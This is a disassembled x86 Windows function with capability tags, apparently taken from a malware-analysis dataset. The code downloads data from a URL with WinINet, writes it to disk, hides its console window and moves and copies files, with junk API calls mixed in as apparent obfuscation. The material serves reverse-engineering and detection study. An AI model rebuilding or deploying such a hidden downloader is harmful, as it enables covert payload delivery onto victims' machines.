Function at 0x4024b0
Capabilities:
Accept command line arguments
Check if file exists
Copy file
Create http request
Delete directory
Download and write a file
Get disk information
Get file attributes
Hide graphical window
Identify system language via api
Move file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54c
mov eax, dword [0x427600]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0x103
lea ecx, [ebp - 0x107]
push 0
push ecx
mov dword [ebp - 0x534], eax
mov byte [ebp - 0x108], 0
call fcn.0040c600
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetACP]
lea edx, [ebp - 0x52c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
push 0x24
push 0x63
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0x420588
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call dword [sym.imp.KERNEL32.dll_GetACP]
cmp dword [edi + 0x14], 0x10
jb 0x402549
mov edi, dword [edi]
push ebx
push edi
lea eax, [ebp - 0x108]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x420574
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x42056c
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x50
push 0x27
mov edi, eax
push 0
mov dword [ebp - 0x540], edi
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 1
push 0x420564
push 0x42055c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
lea edx, [ebp - 0x518]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [ebp - 0x52c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0xffffffffffffffeb
call esi
mov ebx, dword [sym.imp.USER32.dll_GetWindowLongA]
push eax
call ebx
cmp edi, 0xffffffff
je 0x402afe
push 0
push 0
push 0
push 0
push 0x420558
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
push 0xfffffffffffffff0
mov dword [ebp - 0x54c], edi
call esi
push eax
call ebx
push 0
push 0
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x42054c
push 0x420540
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xffffffffffffffeb
call esi
push eax
call ebx
test edi, edi
je 0x402abe
mov eax, dword [ebp - 0x534]
cmp dword [eax + 0x14], 0x10
jb 0x402677
mov eax, dword [eax]
push 0
push 0x4000000
push 0
push 0
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, eax
mov dword [ebp - 0x534], ebx
call esi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
test ebx, ebx
je 0x402aa1
push 0xa00000
call fcn.0040a5cf
add esp, 4
push 0x420538
mov dword [ebp - 0x538], eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea ecx, [ebp - 0x518]
push ecx
call ebx
push 0
push 0
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x420530
push 0x420524
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0
push 0x3b
push 0x1b
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
lea edx, [ebp - 0x518]
push edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
xor edi, edi
push edi
mov dword [ebp - 0x530], edi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0x518]
push eax
call ebx
push 0xbe4
call esi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x420520
push edi
call dword [sym.imp.USER32.dll_LoadCursorA]
push edi
push 0x3ee
push 0x61
call esi
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0x420518
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
mov dword [ebp - 0x53c], edi
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp - 0x534]
lea ecx, [ebp - 0x53c]
push ecx
push 0x400
lea edx, [ebp - 0x508]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ebx, dword [sym.imp.KERNEL32.dll_FindFirstFileA]
test eax, eax
je 0x4028fc
jmp 0x4027e0
mov eax, dword [ebp - 0x53c]
test eax, eax
je 0x4028f6
mov edx, dword [ebp - 0x538]
push eax
lea ecx, [ebp - 0x508]
push ecx
lea eax, [edi + edx]
push eax
call fcn.0040b780
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetACP]
lea ecx, [ebp - 0x530]
push ecx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push 0x420510
call ebx
push 1
push 0x420508
push 0x4204fc
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x518]
push edx
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0x4204ec
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [ebp - 0x544]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
add edi, dword [ebp - 0x53c]
push 0
push 0x4204e0
call ebx
push 0
push 0
push 0
push 0
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x4204d8
push 0x4204cc
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0
push 0x41
push 0xf
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0x4204c8
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [ebp - 0x534]
lea ecx, [ebp - 0x53c]
push ecx
push 0x400
lea edx, [ebp - 0x508]
push edx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4027e0
mov dword [ebp - 0x530], edi
lea ecx, [ebp - 0x530]
push ecx
lea edx, [ebp - 0x538]
push edx
call fcn.00402040
add esp, 8
call esi
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0x4204c0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
mov ecx, dword [ebp - 0x530]
mov edi, dword [ebp - 0x538]
mov edx, dword [ebp - 0x540]
push 0
lea eax, [ebp - 0x548]
push eax
push ecx
push edi
push edx
mov dword [ebp - 0x548], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x544]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push 0
push 0x1a
push 0x3e
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 0x4204b4
call ebx
push edi
call fcn.0040c67a
add esp, 4
push 0x1bb5
call esi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 0
push 0x42
push 0x5e
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 0x544]
push ecx
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_IsWow64Process]
push eax
call ebx
lea edx, [ebp - 0x538]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
call dword [sym.imp.KERNEL32.dll_GetACP]
lea eax, [ebp - 0x530]
push eax
call edi
push eax
call ebx
mov ecx, dword [ebp - 0x534]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ecx
call edi
push 0x4204a4
push 0x420498
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x42048c
call esi
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edx, dword [ebp - 0x54c]
push edx
call edi
push 0xfffffffffffffff0
call esi
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov eax, dword [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
call dword [sym.imp.KERNEL32.dll_GetACP]
lea ecx, [ebp - 0x544]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
push 0xd40
call esi
push eax
call dword [sym.imp.USER32.dll_KillTimer]
push 1
push 0x420484
push 0x420478
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c301
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
mov edx, dword [ebp - 0x540]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x518]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x528]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0
call esi
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor al, al
pop ebx
call fcn.0040c301
mov esp, ebp
pop ebp
ret